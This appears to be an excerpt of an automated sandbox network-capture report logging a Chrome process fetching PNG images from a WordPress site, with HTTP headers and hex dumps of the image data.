2024-04-11 21:26:50 UTC	460	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 e0 00 00 01 04 08 06 00 00 00 f0 01 e7 01 00 00 80 00 49 44 41 54 78 da ec fd 77 b8 6d 4b 7a d6 87 fe aa 6a 84 99 57 5e 3b e7 bd 4f 3e dd a7 5b 1d d5 8d b2 64 23 c0 46 92 41 18 61 63 30 b6 79 cc 83 af c1 18 ec fb 5c 1b 6c 7c 9d 2e d7 60 b2 b1 80 6b 04 06 09 0b 2c 21 09 21 b5 d4 2d 75 b7 d4 d2 e9 78 72 da 67 e7 b0 72 98 71 84 aa ba 7f d4 18 63 8d 39 d6 5c 3b 9e 7d ba fb f4 ac 7e 66 9f bd 66 18 55 a3 aa 46 bd df f7 7e 49 f0 c7 3e 64 01 98 09 41 49 d8 1c f2 48 9a 12 70 a4 0d 37 76 c1 3e 9a 2e 58 6e 42 3f 86 7e f2 68 ae 5f f7 60 a6 06 b7 7b 8f e6 fa 02 38 da 86 95 3e a4 e6 d1 f4 31 5b 73 ff dd 1e 3d ba 75 3e da 81 6b 3b 3c b2 76 a8 09 bb 11 0c d3 07 be 84 14 02 29 e5 c4 cf 6c c3 c7 36 7d e4 da 60 c2 12 Data Ascii: PNGIHDRIDATxwmKzjW^;O>[d#FAac0y\l\|.`k,!!-uxrgrqc9\;}~ffUF~I>dAIHp7v>.XnB?~h_`{8>1[s=u>k;<v)l6}`
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 2a f6 4a 84 b0 03 ac 6c 62 09 26 4f 9d 05 81 19 1b 53 f9 39 11 a5 5d 29 44 be e5 c6 77 58 be 2e 63 2b 3c a1 2f 91 ad 4d de c3 db 6b 37 90 4c db b4 4d db 7d 81 dd 2f bf f2 05 fe 87 5f f8 7b 6c 0f ba d9 03 2c c6 41 cb 0a 77 a0 d8 fc 51 b5 0e 18 ca af ec 78 ba d3 eb e1 46 b9 1f 68 6c 71 50 da 03 df 61 c2 af c6 8e eb 62 fc 19 58 8b e2 96 f7 7d b6 ef bd f1 e3 7d 62 bf 77 be 77 5b 9a 37 5b 5c b7 10 aa 26 bd 32 f0 2d 0d b5 e8 24 17 9d ee b6 0e 0f f5 12 62 6f bc 58 0c 16 2b c6 5f f9 66 19 fb 9f 98 30 13 82 7d bf cd 5f 26 7b 59 c0 dc 75 4f 8d 0b 43 66 22 10 ef 07 df bd 39 dc 7f 65 71 67 51 e2 ee 7b 5b e4 12 57 e9 75 c0 5d 58 d9 40 87 67 b1 b2 59 d9 c7 a5 ef 09 8b 15 01 46 ce 62 f1 ef 78 3d b1 6f 56 f6 63 a8 b8 d3 e8 ab 82 ca 7d c8 73 de 37 da 01 37 db 68 b3 d4 9a Data Ascii: *Jlb&OS9])DwX.c+</Mk7LM}/_{l,AwQxFhlqPabX}}bww[7[\&2-$boX+_f0}_&{YuOCf"9eqgQ{[Wu]X@gYFbx=oVc}s77h
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 81 8d 40 4c a6 8b 8b 95 d4 db 88 74 05 21 6a 68 35 87 95 8d c9 eb 28 42 74 78 16 61 63 50 73 13 c7 b0 0f 80 3b b5 26 3f fa e1 ef 67 a9 3d c7 4f fc e6 2f 70 6d 6b 65 e2 b0 a5 10 9c 5d 3a c6 89 f9 43 5c 38 74 12 5f 79 07 02 f0 57 af be ce 1f fc 7b ff 35 c9 62 c8 da fa 8d 7b d8 b2 53 f0 9d b6 77 a1 3d 4c ec 4f a5 ad f5 b6 f9 f3 3f fb 77 e8 34 da fc ce 67 3f 81 c0 99 4f a4 74 cf 0a 85 9d 36 7b 7e ac 05 63 20 33 b3 18 6d 10 42 a0 94 2c 09 a4 19 cd 2a f6 74 01 8b c5 1a 5b d2 40 c5 9e e6 62 1c 20 95 7d a5 72 b1 dc 1a 5b 38 ac 88 0c f5 ad c9 fe 96 ce 56 2d 6c a6 a9 58 3b f1 88 b3 63 1a d9 78 88 4b e1 30 64 b3 e7 d7 96 43 93 ec 3e ff 9e fd e2 80 60 cf 32 08 d6 9a 62 ac 39 ed 6c ac 45 03 46 58 37 27 b9 b3 ac d8 13 09 84 dd 0b 15 d9 e7 38 63 8d bb bf ec de 05 16 99 Data Ascii: @Lt!jh5(BtxacPs;&?g=O/pmke]:C\8t_yW{5b{Sw=LO?w4g?Ot6{~c 3mB,*t[@b }r[8V-lX;cxK0dC>`2b9lEFX7'8c
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: f6 a1 4d 35 c6 b8 bd a3 53 8b b0 06 a1 a4 db 1b c6 8d 47 58 e1 32 77 c8 3d 41 0f 2b 50 76 88 b2 6b a0 25 5a 2c 22 54 58 18 2d ac 71 31 d4 02 d0 46 a1 f5 49 94 8a b0 a2 03 d9 9e 37 45 e4 b3 4b 75 63 00 8d 45 58 2f 9b cb bd 30 43 0b 85 50 29 11 28 91 e9 bd d9 fd 5a 71 0f 61 48 37 b6 56 f9 0f ff c1 ff 1b 25 15 ab bb 9b 53 ba 78 da be f5 28 e9 87 dc d2 5f bb f6 06 7f e1 67 ff 37 fe f2 8f fe 19 ce 2d 1e c1 18 8b 14 82 24 4e 18 8d 22 c2 30 c4 28 eb 24 e6 ec 10 6f 48 89 35 06 6d 0c 68 83 90 12 cf f7 91 52 60 8c 26 8e 63 a4 94 a8 4c cb 91 19 b5 16 e7 da 5b 28 91 d2 43 08 49 9a c6 a4 46 13 64 1a 41 92 a6 24 49 82 10 12 3f 08 11 52 81 04 3f 08 1c 88 5b 4b 14 25 a4 3a a5 0e 04 be 7b 5f a7 0e f4 65 10 14 87 9a d1 1a 21 1c d0 88 4c cb b4 76 8f 6f 16 42 20 3d e5 00 40 Data Ascii: M5SGX2w=A+Pvk%Z,"TX-q1FI7EKucEX/0CP)(ZqaH7V%Sx(_g7-$N"0($oH5mhR`&cL[(CIFdA$I?R?[K%:{_e!LvoB =@
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 9a b2 13 56 e6 2c 95 3b f0 08 2b 0a 8d d5 1d b2 72 4f a8 c8 57 3d fb 5c 4a 47 eb 4b 51 76 58 cb 85 ac 6c 7d ac 45 4a e5 34 3d 6d e9 8f 46 c4 71 92 bd ef 34 cc c0 3a 30 10 52 38 73 04 ce a3 18 21 9c a6 66 4d 61 42 d0 c6 62 30 85 13 95 d3 a6 dd 3f 94 f2 08 82 90 24 4d 89 92 84 2b d7 ae f3 db cf 3f cf e6 f6 16 8d 46 83 53 a7 ce e0 05 35 66 e6 16 10 38 30 d2 b9 89 41 29 27 c8 e5 a0 a1 9d 03 9b 73 5a cb 68 f6 82 a6 75 b4 71 8a 13 ee 76 fb 7d b6 76 bb 44 71 c4 28 89 89 b5 ce 28 f0 6c ee ac cd f2 7b 5b da ad 26 87 96 96 68 d5 42 94 90 08 6b b3 3c ed 02 a3 f3 5c d0 12 63 1d c8 2b 29 31 38 7f 06 32 f3 48 b1 fd ac 25 35 4e 80 f4 7d 8f dc 55 30 d5 6e ee 3c e9 34 76 9d d3 f3 99 e3 98 b5 7b b6 6e 27 ec 38 21 2b b5 ee b9 14 12 ba c3 11 57 6e de e2 e5 97 5f e6 fa 8d eb Data Ascii: V,;+rOW=\JGKQvXl}EJ4=mFq4:0R8s!fMaBb0?$M+?FS5f80A)'sZhuqv}vDq((l{[&hBk<\c+)182H%5N}U0n<4v{n'8!+Wn_
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: d0 5e f6 8c 49 89 d5 86 d4 58 52 6b f0 33 33 8c f4 b2 0c 6b f9 da 08 eb e6 c1 5a 12 0b 26 35 0c a3 94 c1 28 a1 37 88 d9 ee 0e 10 58 76 7b 83 8c 15 50 05 9d 26 84 13 84 64 66 13 b7 d6 22 cc 36 42 df 02 35 03 fe b1 31 ea ed 1d 01 60 3f 33 6a 27 fa e0 f2 70 4d bf c6 7f ff 5d 7f 94 1f 3c ff 11 fe de e7 7e 96 ff fa 67 fe f6 34 d3 d5 b4 7d 83 a1 e8 43 80 2f 7b 19 73 aa 2d 95 96 cb cd 5d 6a 9b 97 e1 55 9f b3 4f 3c c6 e1 c5 06 43 2f 25 f4 9d 74 1e c5 49 e6 9c 22 b3 b0 8d dc ee 28 c1 f7 19 8e 86 ee e0 0d 02 94 10 18 29 31 9e 0b c7 40 ca cc 56 e5 bc 6e 53 a3 31 51 8a 46 38 3b ac 92 44 16 52 01 23 6b b8 ba 7a 9b 2f bd fc 22 dd 7e 9f e5 e5 65 52 df e3 d4 e8 3c cb 52 20 3d 9f 58 6b 46 49 82 12 02 2f a3 41 8d cc c1 94 2c a4 04 fc 2c f6 31 95 39 05 68 48 93 98 d4 38 6f Data Ascii: ^IXRk33kZ&5(7Xv{P&df"6B51`?3j'pM]<~g4}C/{s-]jUO<C/%tI"()1@VnS1QF8;DR#kz/"~eR<R =XkFI/A,,19hH8o
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 38 37 77 d6 b9 b9 bd 76 e0 c1 f3 dc 89 c7 f9 7f 7c df 1f 40 09 c5 6f 5d 7a 89 7f f1 b5 cf 4e fc 5e 37 1e f0 17 3f ff 8f f8 d9 e7 3f cd 67 df f8 ca 14 7c a7 ed bd 82 bc 63 5a 70 b9 15 09 0f 32 ef da 81 4a 78 49 5f e7 89 db 57 68 9c 58 e4 c2 b1 73 04 52 d2 ef 0f b8 75 f3 16 2b b7 57 d8 d8 d8 60 6b 7b 07 63 2d ad 76 93 66 a3 c9 ec dc 2c c7 4f 1c 67 76 76 86 40 04 28 0b ab 5b 5b bc f4 d2 4b 0c 06 43 ea f5 06 cd 46 03 e5 79 c4 71 cc e6 d6 16 fd e1 80 b0 56 67 71 79 89 23 c7 8f d1 9a 99 61 6d 73 9d e7 5f 7a 81 ab 6b ab d8 d0 47 58 c3 40 6b 6e ae af f3 d2 9b 6f 62 94 e2 f4 89 93 f4 77 77 b9 71 f5 2a bd dd 2e c2 42 bb d5 62 71 61 01 25 25 b7 6e dd 24 0c 43 8e 1f 3b ce f2 f2 12 2a d5 ac 6f 6c b2 b2 ba ca ca ea 0a 1b 9b 9b f4 87 03 84 94 1c 3d 76 8c e3 27 8e b3 b4 Data Ascii: 87wv\|@o]zN^7??g\|cZp2JxI_WhXsRu+W`k{c-vf,Ogvv@([[KCFyqVgqy#ams_zkGX@knobwwq.Bbqa%%n$C;ol=v'
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 9d 1d 56 6f df c6 a4 9a d0 f7 39 b4 b8 c4 ef f9 ae ef 62 b1 33 43 ab d9 70 9e e1 56 92 68 97 3d ca 98 bd 8c 59 da 38 5b 3e 4a 11 d6 1b 34 5a 2d 1a 8d 10 5f ba 80 63 9b a4 f8 59 8c 74 aa 0d ab 6b 6b 7c e6 d7 7f 8d b7 de 7a 0b 84 e0 83 1f f9 28 1f f9 d8 c7 39 7f fe 02 2f be f5 16 9f fe f4 a7 d9 58 5d c3 93 8a 53 27 4f d1 9e 9b a3 33 3f c7 5b 97 2e f1 d5 17 be c6 4b af be cc ee 4e 8f 38 4e 8a f1 2e cc cf 73 e1 c2 63 bc ff fd ef e3 d9 67 9f 45 fa 8a fe 30 e2 fa ad 5b 7c f9 2b 5f e1 a5 17 5f 62 f5 f6 3a 58 49 bb dd e1 77 7e ec 04 47 3f f6 14 bb c3 01 9f 7e f3 16 cd 85 e3 9c 3a 7d 92 58 1b 86 71 4a 6f 30 a2 db 77 9e eb 3f f5 d9 1b fc be f9 f7 d1 e8 cc 50 23 cd ec ff 6a 2f d5 ab 75 61 73 ce 19 de 9b 58 a5 ca 3b 40 a8 67 b1 35 c3 42 73 86 c3 9d f9 2c 98 78 72 bb Data Ascii: Vo9b3CpVh=Y8[>J4Z-_cYtkk\|z(9/X]S'O3?[.KN8N.scgE0[\|+__b:XIw~G?~:}XqJo0w?P#j/uasX;@g5Bs,xr
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: fa 75 6e af de 26 49 13 a4 e7 33 8c 46 ac 6d 6c 90 5a cb c2 f2 32 c7 4f 9c 60 79 71 09 25 24 2f bf f4 12 eb 6b ab f4 fa 29 6b 1b 1b 6c ee ec 30 8a 13 e7 b5 ed 79 ce e3 56 80 e7 29 fa fd 3e c3 61 97 28 1a 31 3f 37 c7 7c 67 86 c3 8b 8b b4 eb 0d 6e cf dd 64 d0 ef 33 8a 47 58 6b 09 c2 90 a5 a5 25 8e 1f 3f ce dc ec 0c d1 70 c4 ea ed 15 6e dc b8 c9 d6 f6 0e 4b 87 97 79 ec a9 a7 58 3e 74 88 e1 a0 cf 9b af bd ce 8d ab d7 d8 d9 dd 65 b7 d7 23 31 1a 8d 45 65 07 be 54 92 40 06 d4 85 c5 af 85 2e 8e 58 08 94 1f 50 6f 36 f1 02 17 43 2e 83 00 55 ab 21 c2 90 34 8e 51 41 c0 e2 f2 32 68 4b bd de 62 73 63 83 7e bf 47 64 0d 6b bb 3b dc de 5c 67 61 61 9e 66 bd 8e 94 0a 5f b8 1c cf 89 35 f8 42 b9 7c ce ca 03 a9 88 b5 e6 e6 ea 2a af be f5 16 ad 5a 48 53 79 84 80 8d 23 e6 3a 4d Data Ascii: un&I3FmlZ2O`yq%$/k)kl0yV)>a(1?7\|gnd3GXk%?pnKyX>te#1EeT@.XPo6C.U!4QA2hKbsc~Gdk;\gaaf_5B\|*ZHSy#:M
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 9f 5f e0 dc 99 d3 ac 6f 6f 73 73 65 05 6b 0c 49 92 a2 84 a4 1e d6 38 b4 b0 c4 6c a3 c5 eb af bf 8e 4d 34 c2 80 af 3c 5a f5 26 27 8f 1d e3 f4 f1 13 a0 1d 59 66 8c f3 e8 4d 8c c1 57 8a a3 47 0e 71 e1 f4 29 9e be 70 81 d3 27 4e 10 d6 6a bc 76 f9 2d b6 76 b6 31 c2 d2 6a b7 38 bc 7c 88 53 27 4e 30 7f f4 18 a9 5f e3 c5 57 5e 03 e5 a1 75 42 77 38 62 63 7b 87 38 8e b1 59 1a 49 6b 5d d6 2e 3f f4 09 3c 85 87 40 59 50 36 cb 35 28 64 16 ce 81 cb e6 14 c7 18 6b 09 3c 8f ba e7 53 97 92 1a 10 6a 83 d2 20 8c 8b 7d 4e 95 24 16 16 8d 26 21 45 2b 0b be c0 0f 14 b3 ed 26 27 16 17 39 7b e4 08 bb bd 2e af 35 1b 04 81 cb 03 ad b2 24 0a 2e a3 a4 60 69 79 81 0f 7f f8 43 6c ee ee 82 52 cc cd cd 02 9a de 60 97 d4 a6 a8 d0 43 05 1e 46 40 ac 53 62 ad c1 cb ca f2 79 d2 55 a1 32 29 73 Data Ascii: _oossekI8lM4<Z&'YfMWGq)p'Njv-v1j8\|S'N0_W^uBw8bc{8YIk].?<@YP65(dk<Sj }N$&!E+&'9{.5$.`iyClR`CF@SbyU2)s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
185	192.168.2.17	49932	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1009	OUT	GET /wp-content/uploads/NIKE.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	907	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 7941 Connection: close CF-Ray: 872e0ea639837295-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32ed-1f05" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:21 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X9%2BZgGcw1qvDRgTXfkSkMUFJTafO1K2A9AyWX3Z7iUmGhO%2BIDwfkJxfLnCYFCP0cP%2Fts%2FFawMa3gtPZ9Qvmpt5SUMc4csxjcAQvz7ac0KqNJXkVct7D4oSvIwSrNXn9%2FiFc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	462	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 5d 08 06 00 00 00 06 da e2 2a 00 00 1e cc 49 44 41 54 78 da ec 9a 59 a8 4e 5d 1c c6 8f 79 9e e7 79 ca 3c 0b 65 4a b9 50 12 11 99 6e 0c 09 09 89 e4 d2 ec c6 90 0b 19 13 89 12 52 86 94 44 14 6e cc 49 99 8a 0c e1 0c 9d 79 1e fe 5f cf aa 5f bd eb ec 73 de 73 de ef ca ae f5 d4 6a ef bd ce 9a f6 7b 9e 67 fd 87 b5 d3 2c 20 20 20 25 a4 59 40 40 40 10 4d 40 40 10 4d 40 c0 3f 84 20 9a 6a a8 aa aa 4a 5a 84 a2 a2 22 03 a0 b2 b2 d2 12 51 51 51 61 42 7e 7e be 15 17 17 1b f8 f3 e7 8f 81 d2 d2 52 cb cd cd b5 c2 c2 42 03 b4 cd c9 c9 31 a1 a4 a4 84 39 99 c7 15 d6 92 91 91 61 20 2f 2f 4f f3 32 06 e3 69 1e d5 d3 df 1b 97 b1 0b 0a 0a 0c 24 79 2f cd cb 7a bd b5 a6 82 b2 b2 32 13 d2 d3 d3 0d f0 2e 71 40 10 4d Data Ascii: PNGIHDR]*IDATxYN]yy<eJPnRDnIy__ssj{g, %Y@@@M@@M@? jJZ"QQQaB~~RB19a //O2i$y/z2.q@M
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e0 8b 17 2f b6 9e 3d 7b da d4 a9 53 35 8f eb 37 7e fc 78 cd e1 ea 27 4f 9e 6c 3d 7a f4 b0 f3 e7 cf 9b 20 81 71 dd b2 65 0b ed 55 5c ff d1 a3 47 ab 68 6e b7 9e de bd 7b db a3 47 8f 9c e5 9c 3f 7f be 75 ed da 55 6b d2 1a 93 16 ad 59 fd fb f5 eb a7 b1 f5 fe fa cd dc 5a 9e 3c 79 62 71 40 10 cd ff b0 34 a7 4f 9f b6 76 ed da 59 5a 5a 9a 51 9a 36 6d 6a 8d 1b 37 36 9e 5b b7 6e 6d cf 9e 3d 63 4c 67 35 84 e7 cf 9f 5b b7 6e dd bc be cd 9b 37 b7 06 0d 1a 48 2c 7a d6 d8 da c5 9d 68 d6 ac 59 63 b4 6b d4 a8 91 8a 9b a7 65 cb 96 d6 ac 59 33 5d dd df 5a b4 68 61 17 2f 5e 34 e1 d4 a9 53 d6 b6 6d 5b d5 ab 8d b7 46 fa 53 f7 e2 c5 0b c3 32 09 87 0f 1f 96 08 f5 b7 a4 45 e4 17 ee dd bb 67 d4 35 6c d8 50 ef 51 af a2 f6 bc af 8a 44 ac 0d 29 0e 08 a2 49 5d 34 b2 32 1e 11 45 7a 48 Data Ascii: /={S57~x'Ol=z qeU\Ghn{G?uUkYZ<ybq@4OvYZZQ6mj76[nm=cLg5[n7H,zhYckeY3]Zha/^4Sm[FS2Eg5lPQD)I]42EzH
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 24 4e 05 e6 ea 4f fb 1a 0b ee 94 dc 39 11 ef f2 e5 cb 90 de 13 1b 16 86 3e da f9 15 c7 1c 39 72 84 3a 82 7d b2 5d 88 54 27 fd 2e ab 05 64 cd f4 bb ec da b5 cb 1b 3b 49 6c a7 cf 8d 48 d5 27 0a 45 e3 90 24 d1 b3 67 c9 e2 80 20 1a e0 5b 17 ac 8e fe a9 fa 2e 2a e5 03 bb 43 87 0e 69 77 e5 d4 1c 0b 13 49 c9 72 fe 21 e8 cb e2 6a 62 c1 7d 22 8e c1 0a c8 1d 23 03 a6 af 0c 6a 75 cd 34 17 82 51 40 4f 3c 42 3d 85 67 d6 49 1a 1b 6b 09 e1 67 cc 98 41 1f d6 82 e5 a3 3f 19 33 7d d8 ea b9 66 8a 89 f4 db 62 bd 12 c4 12 1b c1 04 d1 d4 1d df 88 f4 da 35 6b 3d f3 20 f8 4e fb af bd 33 67 b9 a5 d8 c2 f0 fd 2b a2 ff c0 40 41 10 47 1c 50 04 c1 c4 29 11 03 31 12 44 9c 53 87 44 54 cc 44 10 03 39 81 68 a0 28 0e 08 1a 38 04 06 22 1a 29 98 18 fa 17 ce e5 39 f7 3c dc d7 5a d5 bd f7 f9 Data Ascii: $NO9>9r:}]T'.d;IlH'E$g [.*CiwIr!jb}"#ju4Q@O<B=gIkgA?3}fb5k= N3g+@AGP)1DSDTD9h(8")9<Z
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 0c e6 5f 93 34 4a 97 a6 59 c3 c1 f1 b1 4d d0 08 82 66 16 49 4a 87 af 69 94 72 f3 98 81 78 d8 ba 4a 53 ff cf ca 33 14 cd f0 06 e3 72 4e 17 71 d1 ed f3 3b 8f f5 e1 87 1f 5a 9f 4c 35 c7 81 3f 19 04 45 fa d1 c8 6d c1 be 99 f1 58 e9 b5 83 30 49 31 3e 25 83 de b8 5e 56 a7 89 69 99 b9 ca 60 37 93 b3 95 b8 05 ac 64 8d 3a bb 97 c1 1b c7 3d 65 d0 00 4e cf 63 da 44 ef bc 6c c7 6f 80 65 a8 67 45 45 9b cf 9b 29 75 00 f0 86 69 78 37 03 d7 8e d1 ac 11 0f a7 ab cc fa 01 22 7a 0e 34 6c 21 ab 59 62 60 5b 64 70 aa ac 93 d7 02 58 d2 86 12 08 9e b7 00 81 7a 69 54 e7 64 5f 83 a3 1e 5f a0 74 52 06 94 b6 4c 2a d8 21 ad e4 2c 40 f5 1a e0 e8 71 4f bd ef 41 c2 f4 bb 33 01 4d b4 12 03 82 45 c1 67 9e b7 e4 d1 46 12 6d 1b 34 5d 47 40 f5 0e 79 73 75 04 a0 8e 68 40 27 68 1c 94 16 98 70 Data Ascii: _4JYMfIJirxJS3rNq;ZL5?EmX0I1>%^Vi`7d:=eNcDloegEE)uix7"z4l!Yb`[dpXziTd__tRL*!,@qOA3MEgFm4]G@ysuh@'hp
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 36 47 80 a6 07 36 af 4f 8f 20 d2 53 40 79 0f dc 27 81 8d ea 29 b0 e8 02 d4 ce f2 89 48 70 8f 0b 70 72 35 38 02 a7 24 be b1 1f c7 52 1a a2 6a 75 d9 d9 b7 de 7a 2b 3c b8 04 4a d4 96 2e cd b8 8b a1 87 e1 08 d8 15 dc c2 7d 8c 58 97 91 4b 95 47 75 69 6f 9c af 9f 7c f2 89 83 2b 07 b2 46 b9 19 87 80 24 8f e1 0a 02 dd 5c 15 49 8b 1a d0 2e eb f7 ee bb ef 96 ac ca 09 77 b3 b1 19 5c a8 0e 9c 62 c0 3b a8 8d f7 84 cd 45 ad e4 9a 6d 5a af 57 7b 4b 22 68 71 61 57 2a 50 4d c9 76 3b 27 1c ce 81 cb da c9 89 1c a0 4f 3f fd 14 a0 10 30 e5 7e f7 e8 45 85 da e3 32 85 a8 a9 4a 5d 9e af 21 05 25 58 a8 7f 06 51 5b cf db b6 53 03 f6 59 48 16 f1 ed 00 61 c0 7b d3 1c f4 69 cf b0 a4 45 d6 24 4e 97 31 9d c1 fa c8 23 8f 14 a6 b4 79 34 3b 98 cd 0c 10 0c 5c ae 4d c3 7c 6a 20 cb 71 63 d1 Data Ascii: 6G6O S@y')Hppr58$Rjuz+<J.}XKGuio\|+F$\I.w\b;EmZW{K"hqaW*PMv;'O?0~E2J]!%XQ[SYHa{iE$N1#y4;\M\|j qc
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 44 c0 b8 ad 52 86 c1 8a e1 ce 42 b7 e4 e0 e0 10 e9 15 06 f4 bb 96 4c 4a 2f f7 ad 93 e8 d6 ba 9d 71 ef 63 0f 49 6f a1 ad 66 a9 8c a3 03 4d d6 27 b3 35 b3 30 59 96 44 ca 67 69 2c ce b0 a8 6f b8 7c 69 0e e6 c6 c5 99 1e 9b d3 5a ef 66 1f 50 16 09 d2 6b 94 98 c2 4e c3 55 7c dd 75 d7 01 92 5d 9e 2c cb d6 fa 39 13 cc 92 2b d7 a5 eb 64 67 bf 9b 6e ba 89 24 30 f8 64 29 fd 57 57 f9 ff a8 40 63 6b 67 65 75 7a 1a 39 23 f2 9c e4 34 09 94 86 91 cb 76 cc 88 39 5b 73 2c d5 b5 d3 a6 f9 a4 7a 35 67 f8 eb 42 2e c7 21 0f 08 1e 19 31 17 02 9f 9d e5 37 d2 78 c7 2e 11 24 b3 40 ca df 95 24 19 d4 4d 1e d9 15 57 5c 41 7c 07 a9 56 24 62 d8 2e 8b f1 6e 6d 1a 34 fa ed 1b f5 87 b5 5c cc b9 48 15 c3 81 53 56 1f be f1 c6 1b a1 89 4c da 0a 87 07 4c 55 b9 4c f5 4d f0 36 cd a0 26 89 6a 70 Data Ascii: DRBLJ/qcIofM'50YDgi,o\|iZfPkNU\|u],9+dgn$0d)WW@ckgeuz9#4v9[s,z5gB.!17x.$@$MW\A\|V$b.nm4\HSVLLULM6&jp
2024-04-11 21:26:50 UTC	634	IN	Data Raw: 85 7f aa 68 5d f1 4c 1d 20 ce b2 2b 5f 65 8a d1 ec 36 99 1c 06 50 28 2c ce 72 86 23 e2 7e 24 6d 71 a0 99 a8 a8 09 cb 59 43 da 57 66 6f 0d 6a 28 25 87 94 0c 56 6c 39 89 ed e2 92 19 ac 04 96 0c 63 8c fc 01 9a 23 68 8b 04 4d 56 ca b7 41 cb 37 95 b9 b3 e2 96 bf 1d 8a 97 e6 e2 49 93 55 f3 b3 8a 4b a6 2b 5f 73 cd 35 94 81 75 f9 f4 ac e0 3f 24 cd 91 b4 45 82 26 aa c8 bb 70 13 46 33 65 8d ac 4c 2f d9 d2 a5 fa 4e 35 a2 6f cf fc 19 cf 6f 5e 0e 2b 8f 7d f0 c1 07 73 c4 48 be 1b a0 39 82 b6 38 d0 08 98 86 56 e3 b2 1a 90 37 73 19 6e e9 fc 0c e4 d3 48 f0 42 92 a4 aa 26 40 5d 79 98 f2 b8 73 0b a0 5a 54 6f e4 ab 1c 51 5b 1c 68 6c 73 c0 b9 fb ee bb a7 02 87 87 b2 69 00 61 aa 63 65 8d 7c 96 f8 c0 0b d6 b8 7e ad 2b 60 6d 30 be 73 35 02 c0 35 40 73 04 6d 91 a0 41 bd d1 16 d0 Data Ascii: h]L +_e6P(,r#~$mqYCWfoj(%Vl9c#hMVA7IUK+_s5u?$E&pF3eL/N5oo^+}sH98V7snHB&@]ysZToQ[hlsiace\|~+`m0s55@smA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
186	192.168.2.17	49933	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:50 UTC	1012	OUT	GET /wp-content/uploads/avatar2.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
